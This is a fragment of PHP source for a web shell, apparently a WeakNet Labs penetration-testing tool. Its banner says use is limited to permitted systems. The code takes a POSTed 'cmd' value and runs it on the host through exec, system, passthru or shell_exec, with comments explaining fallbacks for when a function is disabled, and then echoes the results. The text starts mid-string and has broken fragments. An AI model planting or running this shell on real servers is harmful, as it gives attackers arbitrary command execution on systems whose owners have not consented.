This"
." program should only be used on systems that the penetration tester has permission to use or owns."
."
To begin, please type a command below. For help please refer to the GitHUB Readme.md file by clicking on the"
." link on the bottom left. Thank you for choosing WeakNet Labs!";
}else{
$cmd = $_POST['cmd']; # reassign is easier to read
if($_POST['execType'] == "exec"){
exec("$cmd 2>/dev/stdout",$results); # a command, let's execute it on the host
}elseif($_POST['execType'] == "system"){
system("$cmd 2>/dev/stdout",$results); # use system() in case exec() was disabled in PHP.ini
}elseif($_POST['execType'] == "passthru"){
passthru("$cmd 2>/dev/stdout",$results); # use passthru for command execution/injection
}elseif($_POST['execType'] =="shell_exec"){
$results = shell_exec("$cmd 2>/dev/stdout"); # use shell_exec (similar to backtick operators, or $() in Bash)
}
}
echo "🐚 WPES Displaying results for command: ".
" ".$cmd."
";
?>
🐱 ".$output."
";
}else{
echo "🔍 ".$output."
";
}
}else{
echo $output."
";
}
}
}else{
echo $output."
"; # dump message
}
?>